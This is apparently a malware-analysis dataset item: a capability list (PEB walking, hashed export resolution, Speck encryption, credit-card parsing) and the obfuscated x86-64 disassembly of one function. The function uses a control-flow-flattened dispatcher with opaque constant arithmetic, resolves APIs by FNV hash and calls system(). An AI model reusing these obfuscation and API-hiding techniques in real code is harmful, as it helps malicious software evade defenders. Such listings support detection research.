Function at 0x1400bb396
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x3ee70155
pushf
not eax
add eax, 0x89cb3987
xor eax, 0x985867d7
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa1beba59
xor eax, 0xd6d960ef
rol eax, 0x53
popf
pushf
not eax
add eax, 0x933ca1b4
xor eax, 0xa6afba55
rol eax, 0xc4
popf
cmp eax, 0x59
jne 0x1400bb3e6
popf
pop rax
jmp 0x1400bfbe2
cmp eax, 0x48
jne 0x1400bb3f5
popf
pop rax
jmp 0x1400beeea
cmp eax, 0x3f
jne 0x1400bb404
popf
pop rax
jmp 0x1400be6d9
cmp eax, 1
jne 0x1400bb413
popf
pop rax
jmp 0x1400bba28
cmp eax, 0x4a
jne 0x1400bb422
popf
pop rax
jmp 0x1400bf0a4
cmp eax, 0x1a
jne 0x1400bb431
popf
pop rax
jmp 0x1400bcdf8
cmp eax, 0x5d
jne 0x1400bb440
popf
pop rax
jmp 0x1400bfed7
cmp eax, 0x58
jne 0x1400bb44f
popf
pop rax
jmp 0x1400bf8de
cmp eax, 0x40
jne 0x1400bb45e
popf
pop rax
jmp 0x1400be778
cmp eax, 8
jne 0x1400bb46d
popf
pop rax
jmp 0x1400bc13f
cmp eax, 0x2a
jne 0x1400bb47c
popf
pop rax
jmp 0x1400bd85f
cmp eax, 0x17
jne 0x1400bb48b
popf
pop rax
jmp 0x1400bc9ca
cmp eax, 0x1c
jne 0x1400bb49a
popf
pop rax
jmp 0x1400bcedb
cmp eax, 0x2e
jne 0x1400bb4a9
popf
pop rax
jmp 0x1400bdcd3
cmp eax, 0x4c
jne 0x1400bb4b8
popf
pop rax
jmp 0x1400bf19a
cmp eax, 0x2b
jne 0x1400bb4c7
popf
pop rax
jmp 0x1400bd8fd
cmp eax, 0x1b
jne 0x1400bb4d6
popf
pop rax
jmp 0x1400bce36
cmp eax, 0x2d
jne 0x1400bb4e5
popf
pop rax
jmp 0x1400bdb6b
cmp eax, 0x23
jne 0x1400bb4f4
popf
pop rax
jmp 0x1400bd406
cmp eax, 0x5b
jne 0x1400bb503
popf
pop rax
jmp 0x1400bfd77
cmp eax, 0x43
jne 0x1400bb512
popf
pop rax
jmp 0x1400be9dd
cmp eax, 0x13
jne 0x1400bb521
popf
pop rax
jmp 0x1400bc78d
cmp eax, 0x33
jne 0x1400bb530
popf
pop rax
jmp 0x1400be12b
cmp eax, 0x24
jne 0x1400bb53f
popf
pop rax
jmp 0x1400bd47c
cmp eax, 0x1e
jne 0x1400bb54e
popf
pop rax
jmp 0x1400bd1d2
cmp eax, 0xc
jne 0x1400bb55d
popf
pop rax
jmp 0x1400bc2fe
cmp eax, 0x26
jne 0x1400bb56c
popf
pop rax
jmp 0x1400bd583
cmp eax, 0x27
jne 0x1400bb57b
popf
pop rax
jmp 0x1400bd67a
cmp eax, 0x30
jne 0x1400bb58a
popf
pop rax
jmp 0x1400bdd7a
cmp eax, 0x10
jne 0x1400bb599
popf
pop rax
jmp 0x1400bc625
cmp eax, 0x37
jne 0x1400bb5a8
popf
pop rax
jmp 0x1400be2a9
cmp eax, 9
jne 0x1400bb5b7
popf
pop rax
jmp 0x1400bc182
cmp eax, 0x39
jne 0x1400bb5c6
popf
pop rax
jmp 0x1400be386
cmp eax, 0x16
jne 0x1400bb5d5
popf
pop rax
jmp 0x1400bc978
cmp eax, 0x3b
jne 0x1400bb5e4
popf
pop rax
jmp 0x1400be48d
cmp eax, 0x4b
jne 0x1400bb5f3
popf
pop rax
jmp 0x1400bf0e2
cmp eax, 0x36
jne 0x1400bb602
popf
pop rax
jmp 0x1400be26a
cmp eax, 0x14
jne 0x1400bb611
popf
pop rax
jmp 0x1400bc836
cmp eax, 0x46
jne 0x1400bb620
popf
pop rax
jmp 0x1400bec21
cmp eax, 0x3d
jne 0x1400bb62f
popf
pop rax
jmp 0x1400be5b0
cmp eax, 2
jne 0x1400bb63e
popf
pop rax
jmp 0x1400bba88
cmp eax, 0x47
jne 0x1400bb64d
popf
pop rax
jmp 0x1400bec95
cmp eax, 0x51
jne 0x1400bb65c
popf
pop rax
jmp 0x1400bf598
cmp eax, 0x11
jne 0x1400bb66b
popf
pop rax
jmp 0x1400bc664
cmp eax, 0x35
jne 0x1400bb67a
popf
pop rax
jmp 0x1400be226
cmp eax, 0x3a
jne 0x1400bb689
popf
pop rax
jmp 0x1400be442
cmp eax, 0x12
jne 0x1400bb698
popf
pop rax
jmp 0x1400bc6de
cmp eax, 0x21
jne 0x1400bb6a7
popf
pop rax
jmp 0x1400bd33a
cmp eax, 0x38
jne 0x1400bb6b6
popf
pop rax
jmp 0x1400be310
cmp eax, 0xb
jne 0x1400bb6c5
popf
pop rax
jmp 0x1400bc252
cmp eax, 0x5c
jne 0x1400bb6d4
popf
pop rax
jmp 0x1400bfe9f
cmp eax, 0x15
jne 0x1400bb6e3
popf
pop rax
jmp 0x1400bc894
cmp eax, 5
jne 0x1400bb6f2
popf
pop rax
jmp 0x1400bbc54
cmp eax, 6
jne 0x1400bb701
popf
pop rax
jmp 0x1400bbcc3
cmp eax, 0x5a
jne 0x1400bb710
popf
pop rax
jmp 0x1400bfc62
cmp eax, 0x49
jne 0x1400bb71f
popf
pop rax
jmp 0x1400bf064
cmp eax, 0x1f
jne 0x1400bb72e
popf
pop rax
jmp 0x1400bd23b
cmp eax, 4
jne 0x1400bb73d
popf
pop rax
jmp 0x1400bbbbc
cmp eax, 0x2f
jne 0x1400bb74c
popf
pop rax
jmp 0x1400bdd29
cmp eax, 0x4d
jne 0x1400bb75b
popf
pop rax
jmp 0x1400bf246
cmp eax, 0x55
jne 0x1400bb76a
popf
pop rax
jmp 0x1400bf783
cmp eax, 0x45
jne 0x1400bb779
popf
pop rax
jmp 0x1400beb77
cmp eax, 0x2c
jne 0x1400bb788
popf
pop rax
jmp 0x1400bda40
cmp eax, 3
jne 0x1400bb797
popf
pop rax
jmp 0x1400bbb5c
cmp eax, 0x19
jne 0x1400bb7a6
popf
pop rax
jmp 0x1400bcdb8
cmp eax, 0x1d
jne 0x1400bb7b5
popf
pop rax
jmp 0x1400bcf99
cmp eax, 0x34
jne 0x1400bb7c4
popf
pop rax
jmp 0x1400be194
cmp eax, 0x53
jne 0x1400bb7d3
popf
pop rax
jmp 0x1400bf651
cmp eax, 0x4f
jne 0x1400bb7e2
popf
pop rax
jmp 0x1400bf4bf
cmp eax, 0x42
jne 0x1400bb7f1
popf
pop rax
jmp 0x1400be9a5
cmp eax, 7
jne 0x1400bb800
popf
pop rax
jmp 0x1400bbfb1
cmp eax, 0x20
jne 0x1400bb80f
popf
pop rax
jmp 0x1400bd2cd
cmp eax, 0x56
jne 0x1400bb81e
popf
pop rax
jmp 0x1400bf7bb
cmp eax, 0x3c
jne 0x1400bb82d
popf
pop rax
jmp 0x1400be571
cmp eax, 0xd
jne 0x1400bb83c
popf
pop rax
jmp 0x1400bc50c
cmp eax, 0xa
jne 0x1400bb84b
popf
pop rax
jmp 0x1400bc1d3
cmp eax, 0x18
jne 0x1400bb85a
popf
pop rax
jmp 0x1400bcc3d
cmp eax, 0x28
jne 0x1400bb869
popf
pop rax
jmp 0x1400bd6cc
cmp eax, 0x22
jne 0x1400bb878
popf
pop rax
jmp 0x1400bd38c
cmp eax, 0x50
jne 0x1400bb887
popf
pop rax
jmp 0x1400bf551
cmp eax, 0x52
jne 0x1400bb896
popf
pop rax
jmp 0x1400bf5ea
cmp eax, 0x41
jne 0x1400bb8a5
popf
pop rax
jmp 0x1400be813
cmp eax, 0xe
jne 0x1400bb8b4
popf
pop rax
jmp 0x1400bc54f
cmp eax, 0x32
jne 0x1400bb8c3
popf
pop rax
jmp 0x1400bdf04
cmp eax, 0x29
jne 0x1400bb8d2
popf
pop rax
jmp 0x1400bd7f0
cmp eax, 0x3e
jne 0x1400bb8e1
popf
pop rax
jmp 0x1400be67a
cmp eax, 0
jne 0x1400bb8f0
popf
pop rax
jmp 0x1400bb959
cmp eax, 0x4e
jne 0x1400bb8ff
popf
pop rax
jmp 0x1400bf456
cmp eax, 0x31
jne 0x1400bb90e
popf
pop rax
jmp 0x1400bde32
cmp eax, 0x54
jne 0x1400bb91d
popf
pop rax
jmp 0x1400bf6c7
cmp eax, 0x57
jne 0x1400bb92c
popf
pop rax
jmp 0x1400bf879
cmp eax, 0x25
jne 0x1400bb93b
popf
pop rax
jmp 0x1400bd54b
cmp eax, 0xf
jne 0x1400bb94a
popf
pop rax
jmp 0x1400bc5e1
cmp eax, 0x44
jne 0x1400bb959
popf
pop rax
jmp 0x1400beb68
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x478
call fcn.1400af979
mov rcx, qword [rsp + 0x4a0]
call fcn.14012b007
mov dword [rsp + 0x70], eax
mov ecx, dword [rsp + 0x70]
call fcn.14012ab33
cmp dword [rsp + 0x70], 0
jne 0x1400bb9cf
push rax
pushf
mov eax, 0xd8280cc1
pushf
not eax
add eax, 0xe47fd478
xor eax, 0x890e7f77
rol eax, 0x89
popf
pushf
not eax
add eax, 0x868dbfc0
xor eax, 0xd31c3db5
rol eax, 0x78
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xff736e88
pushf
not eax
add eax, 0xf3fab331
xor eax, 0xb68f2086
rol eax, 0x59
popf
pushf
not eax
add eax, 0xeb42875e
xor eax, 0xf489d52f
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe8667144
xor eax, 0xd5095bdb
rol eax, 0xff
popf
pushf
not eax
add eax, 0xa7c45466
xor eax, 0xab51a308
rol eax, 0x3c
popf
jmp 0x1400bb3d7
xor al, al
jmp 0x1400bff00
mov ecx, dword [rsp + 0x70]
call fcn.1401272a6
mov qword [rsp + 0x278], rax
lea rcx, [0x18e5161cb]
pushf
sub rcx, 0x4e4e453b
popf
call fcn.1400c7019
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1400bbb16
push rax
pushf
mov eax, 0x14621a01
pushf
not eax
add eax, 0xa0446008
xor eax, 0xcaa3f81f
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xb524cf62
xor eax, 0xcedaae61
rol eax, 0x49
popf
pushf
not eax
add eax, 0xc2dae05c
xor eax, 0x8fdff0a9
rol eax, 0x88
popf
pushf
not eax
add eax, 0x967cde43
xor eax, 0xd4eecfa3
rol eax, 0x2d
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xaf42056e
pushf
not eax
add eax, 0xf639b070
xor eax, 0xc83f1705
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xc56b3f36
xor eax, 0xb3439952
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x891de348
xor eax, 0xcf84d6ca
rol eax, 0x18
popf
jmp 0x1400bb3d7
xor al, al
jmp 0x1400bff00
movzx eax, byte [rsp + 0x4a8]
test eax, eax
je 0x1400bbc0e
push rax
pushf
mov eax, 0x228dbe46
pushf
not eax
add eax, 0x8b5a1632
xor eax, 0xadb07d67
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xb80573f9
xor eax, 0x99f8ed42
rol eax, 0x48
popf
pushf
not eax
add eax, 0xeec20be9
xor eax, 0xa4417c99
rol eax, 0xcb
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x11c4de46
pushf
not eax
add eax, 0x8c8b4f38
xor eax, 0xbee98c93
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xbda8fa55
xor eax, 0xfec1647d
rol eax, 0x28
popf
pushf
not eax
add eax, 0xeb8be95f
xor eax, 0xad01c104
rol eax, 0xa6
popf
jmp 0x1400bb3d7
mov edx, 0x9710aab9
pushf
not edx
add edx, 0x80bfa100
xor edx, 0x9caf1bec
rol edx, 0xfd
popf
pushf
not edx
add edx, 0xf3724690
xor edx, 0xb5d208da
rol edx, 0x68
popf
mov rcx, qword [rsp + 0x278]
call fcn.14010178f
push rax
pushf
mov eax, 0xd3b40095
pushf
not eax
add eax, 0xebc71dea
xor eax, 0xa7c0920c
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9439748c
xor eax, 0x941cf9c6
rol eax, 0xa
popf
jmp 0x1400bb3d7
mov rcx, qword [rsp + 0x78]
call fcn.1400ce8db
mov qword [rsp + 0x50], rax
call fcn.14012d618
mov eax, dword [0x140040214]
mov dword [rsp + 0x178], eax
lea rax, [rsp + 0x6c]
mov rdi, rax
xor eax, eax
mov ecx, 0x484f904e
pushf
not ecx
add ecx, 0xf110dfe5
xor ecx, 0x9a229e86
rol ecx, 0xf
popf
pushf
not ecx
add ecx, 0x8324d757
xor ecx, 0xee11da4b
rol ecx, 0x92
popf
pushf
not ecx
add ecx, 0xa4a6d877
xor ecx, 0xfe067c9f
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xd3dbc54b
xor ecx, 0xf47fee13
rol ecx, 0x1a
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x444]
lea rcx, [0x1aca7b6d6]
pushf
sub rcx, 0x6ca4994e
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa2aa7fb4
pushf
not ecx
add ecx, 0xe8cf7b94
xor ecx, 0xf2284ed7
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0x8dba73ea
xor ecx, 0x826b882b
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xbaa633eb
xor ecx, 0xf48c88c4
rol ecx, 0xe3
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x444]
call fcn.1400c603b
mov qword [rsp + 0x280], rax
mov edx, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x280]
call fcn.1400fd54a
mov qword [rsp + 0x1b8], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x174], eax
lea rax, [rsp + 0x6d]
mov rdi, rax
xor eax, eax
mov ecx, 0xf4d63128
pushf
not ecx
add ecx, 0xb59f8808
xor ecx, 0x96bfc76a
rol ecx, 0x66
popf
pushf
not ecx
add ecx, 0x96657b34
xor ecx, 0xb9d8bbeb
rol ecx, 0x90
popf
pushf
not ecx
add ecx, 0xfbaa0367
xor ecx, 0xf3f9a504
rol ecx, 0x83
popf
pushf
not ecx
add ecx, 0x8ed485d2
xor ecx, 0xda494b84
rol ecx, 0xeb
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x420]
lea rcx, [0x1b088cbef]
pushf
sub rcx, 0x7085adb7
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb9b5cea1
pushf
not ecx
add ecx, 0xf26e4d46
xor ecx, 0xf91a4fc8
rol ecx, 0xd4
popf
pushf
not ecx
add ecx, 0xdcb0d2e5
xor ecx, 0xee11b3bd
rol ecx, 0xb3
popf
pushf
not ecx
add ecx, 0xe11ed55a
xor ecx, 0x853de5b1
rol ecx, 0xf6
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x420]
call fcn.1400ac6da
mov qword [rsp + 0x288], rax
mov edx, dword [rsp + 0x174]
mov rcx, qword [rsp + 0x288]
call fcn.1400fd54a
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
add rax, 0x386008
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x1b0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x1a8], rax
push rax
pushf
mov eax, 0x2e68508e
pushf
not eax
add eax, 0x983b85f9
xor eax, 0xddf919b7
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xaa66e8ff
xor eax, 0xf045106b
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xffa2bf11
xor eax, 0xd162ecf9
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf546913f
xor eax, 0xacdf436f
rol eax, 0x23
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xc0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2b0], rax
mov eax, 0x5a1f6e3d
pushf
not eax
add eax, 0xb0a5194a
xor eax, 0xe76a9da3
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x97033215
xor eax, 0xa09a177c
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xcb06f19a
xor eax, 0xa9044db2
rol eax, 0x76
popf
pushf
not eax
add eax, 0xfe859715
xor eax, 0x8d69f6f6
rol eax, 0x1e
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x260], rax
mov eax, dword [rsp + 0x260]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x108], rax
mov eax, dword [rsp + 0x264]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x100]
cmp qword [rsp + 0x108], rax
je 0x1400bc0e6
push rax
pushf
mov eax, 0xb2d03905
pushf
not eax
add eax, 0xc6c6313f
xor eax, 0xc98e0fc9
rol eax, 0x75
popf
pushf
not eax
add eax, 0xe019167e
xor eax, 0xe1fdc6bf
rol eax, 0xfd
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x5347658b
pushf
not eax
add eax, 0xd0b37c99
xor eax, 0xa25521af
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xe4dc2cdd
xor eax, 0xc35cf980
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xebc77c82
xor eax, 0xfef9520a
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xea5abf25
xor eax, 0xadc6c27f
rol eax, 0xe4
popf
jmp 0x1400bb3d7
mov dword [rsp + 0xa4], 1
jmp 0x1400bc1d3
mov dword [rsp + 0xa4], 0
push rax
pushf
mov eax, 0xab15111f
pushf
not eax
add eax, 0xf9a6b062
xor eax, 0x9eddc5a8
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xcb87ee8b
xor eax, 0xe4fde08c
rol eax, 0x63
popf
pushf
not eax
add eax, 0x9be89840
xor eax, 0xa4da3a14
rol eax, 0xb3
popf
jmp 0x1400bb3d7
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x24], al
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x1400bc21f
push rax
pushf
mov eax, 0x4a678e79
pushf
not eax
add eax, 0x9d002230
xor eax, 0xd2cbc448
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xebfa17b3
xor eax, 0xf7db7cf3
rol eax, 0xe
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xf59966a0
pushf
not eax
add eax, 0xd1a6d5df
xor eax, 0x894e23b2
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xa4a08032
xor eax, 0xdf4c4a39
rol eax, 0x5c
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x170], eax
mov eax, dword [rsp + 0x38]
jmp 0x1400bc271
dec eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x170], 0
je 0x1400bc2b8
push rax
pushf
mov eax, 0xea786feb
pushf
not eax
add eax, 0xbc5fdf90
xor eax, 0xbc037b04
rol eax, 0x41
popf
pushf
not eax
add eax, 0x9516e55e
xor eax, 0xb94eba1d
rol eax, 0xd9
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x65bf023d
pushf
not eax
add eax, 0xcf10e140
xor eax, 0xc527043f
rol eax, 0x21
popf
pushf
not eax
add eax, 0x83084ae3
xor eax, 0xa78a6b64
rol eax, 0x50
popf
pushf
not eax
add eax, 0xe8fec0cb
xor eax, 0xe9d1333a
rol eax, 0xcf
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x3d0]
mov dword [rsp + 0xa8], eax
movabs rax, 0xa326714835655b0a
pushf
not rax
add rax, 0x7442bdfb
xor rax, 0x6492703b
rol rax, 0x39
popf
pushf
not rax
add rax, 0x61c41691
xor rax, 0x68ce3d85
rol rax, 0x24
popf
shr rax, 0x20
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x38]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x268], rax
movabs rax, 0xc184f8a67945d0bc
pushf
not rax
add rax, 0x6b96692b
xor rax, 0x7dfe38bc
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x404d1d84
xor rax, 0x536d65db
rol rax, 0xcc
popf
mov ecx, 0xf77afe86
pushf
not ecx
add ecx, 0xfd1a38d4
xor ecx, 0xd8e3f5e6
rol ecx, 0xaa
popf
pushf
not ecx
add ecx, 0xcbf5e4e3
xor ecx, 0xe02c64df
rol ecx, 0xeb
popf
pushf
not ecx
add ecx, 0xff09c743
xor ecx, 0xdb83ca81
rol ecx, 5
popf
and rax, rcx
mov dword [rsp + 0x1c0], eax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x1a0], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x25], al
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
movzx eax, byte [rsp + 0x25]
mov byte [rsp + 0x20], al
movsx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400bc4b3
push rax
pushf
mov eax, 0xdf719f4b
pushf
not eax
add eax, 0x8a5b20c5
xor eax, 0xd9bad4ea
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xc3369acf
xor eax, 0xc9668bdc
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xbad69dd5
xor eax, 0xa87b0181
rol eax, 0xba
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x184f271c
pushf
not eax
add eax, 0xc3bf4389
xor eax, 0xe027f31c
rol eax, 0xab
popf
pushf
not eax
add eax, 0xa0899029
xor eax, 0xbb514380
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xb776b511
xor eax, 0xb04692fb
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa4f029fd
xor eax, 0xf635e917
rol eax, 0x14
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x17c], eax
jmp 0x1400bc6de
xor eax, eax
test eax, eax
je 0x1400bc59b
push rax
pushf
mov eax, 0x7f968d9a
pushf
not eax
add eax, 0xe0ec0d9f
xor eax, 0x93b71d9d
rol eax, 0x87
popf
pushf
not eax
add eax, 0x91ff4a9f
xor eax, 0xf706d96a
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x931af13d
xor eax, 0xe9e6fb51
rol eax, 0x9f
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x28984008
pushf
not eax
add eax, 0xafc3dd5a
xor eax, 0xb662498e
rol eax, 0x77
popf
pushf
not eax
add eax, 0xe79370f8
xor eax, 0xb0549ded
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x8a9c5f2a
xor eax, 0xf6dacfcd
rol eax, 0xe8
popf
jmp 0x1400bb3d7
movsx eax, byte [rsp + 0x20]
or eax, 0x20
mov dword [rsp + 0xac], eax
jmp 0x1400bc664
movsx eax, byte [rsp + 0x20]
mov dword [rsp + 0xac], eax
push rax
pushf
mov eax, 0x717b8009
pushf
not eax
add eax, 0xb6109a4c
xor eax, 0xb468987b
rol eax, 0xba
popf
pushf
not eax
add eax, 0xd92817f4
xor eax, 0xb16421ef
rol eax, 0x62
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x58]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x58], eax
jmp 0x1400bc439
mov eax, dword [rsp + 0x1c0]
cmp dword [rsp + 0x17c], eax
jne 0x1400bc734
push rax
pushf
mov eax, 0x2b499fb9
pushf
not eax
add eax, 0x9db8cb04
xor eax, 0x82d91eef
rol eax, 0x46
popf
pushf
not eax
add eax, 0xa3429659
xor eax, 0x9048ebce
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xcaf985d8
xor eax, 0xb8138cd0
rol eax, 0xfa
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xdcb024ca
pushf
not eax
add eax, 0xdfb3ddad
xor eax, 0xe5383d8f
rol eax, 0xef
popf
pushf
not eax
add eax, 0xf7671243
xor eax, 0xe2070356
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x81156aa3
xor eax, 0xa4a7a834
rol eax, 0x16
popf
pushf
not eax
add eax, 0x807af09d
xor eax, 0xa17ac790
rol eax, 0x77
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2b8], rax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x2b8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x2c0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x1b0], rax
jmp 0x1400bc9ca
jmp 0x1400bc261
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov rax, qword [rax]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x1a8], rax
mov byte [rsp + 0x26], 1
movzx eax, byte [rsp + 0x26]
test eax, eax
jne 0x1400bc91f
push rax
pushf
mov eax, 0x1b002fac
pushf
not eax
add eax, 0xddf4b4a2
xor eax, 0x956c0498
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xbdb9f103
xor eax, 0xeca75e09
rol eax, 0x39
popf
pushf
not eax
add eax, 0xc9ac13ee
xor eax, 0x990b23ab
rol eax, 2
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x7e645124
pushf
not eax
add eax, 0xaecd0826
xor eax, 0x80c9a066
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xe21243a8
xor eax, 0xda3633a1
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd89db002
xor eax, 0xf068b9f2
rol eax, 0xe
popf
pushf
not eax
add eax, 0xe5bb03da
xor eax, 0x8bba8790
rol eax, 0x73
popf
jmp 0x1400bb3d7
mov qword [rsp + 0x1b0], 0
push rax
pushf
mov eax, 0xfefbe698
pushf
not eax
add eax, 0xd41a81a8
xor eax, 0xc1e23276
rol eax, 8
popf
pushf
not eax
add eax, 0xab49236c
xor eax, 0xf1d06441
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xa53342b5
xor eax, 0xa851f2c0
rol eax, 0x37
popf
jmp 0x1400bb3d7
mov ecx, 0x8de5e042
pushf
not ecx
add ecx, 0xd79a6f1b
xor ecx, 0xba6fa001
rol ecx, 0
popf
pushf
not ecx
add ecx, 0xba177013
xor ecx, 0xf16a4a6b
rol ecx, 0x30
popf
pushf
not ecx
add ecx, 0xe8446847
xor ecx, 0xd35230f0
rol ecx, 0x2d
popf
jmp 0x1400bca0f
call qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
add rax, 0x1000
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1b8]
add rax, 0x2000
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1b8]
add rax, 0x3000
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call fcn.1400fc014
movzx eax, al
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x78]
call fcn.1400a4d17
movzx eax, al
lea rcx, [0x1a6c1bc64]
pushf
sub rcx, 0x66be9f60
popf
jmp 0x1400bca91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov r8d, 0x5cb520a4
pushf
not r8d
add r8d, 0xd48227de
xor r8d, 0x88f064b2
rol r8d, 0xd9
popf
pushf
not r8d
add r8d, 0xb4ad508d
xor r8d, 0xc54aeaf5
rol r8d, 0xb7
popf
pushf
not r8d
add r8d, 0xc4abd258
xor r8d, 0xe8cf28ec
rol r8d, 0x86
popf
pushf
not r8d
add r8d, 0xc8f1b121
xor r8d, 0x9c7f7b6f
rol r8d, 0x1b
popf
mov edx, eax
mov rcx, qword [rsp + 0x48]
call fcn.140161c88
mov r8d, 0x5872a805
pushf
not r8d
add r8d, 0xc15451ee
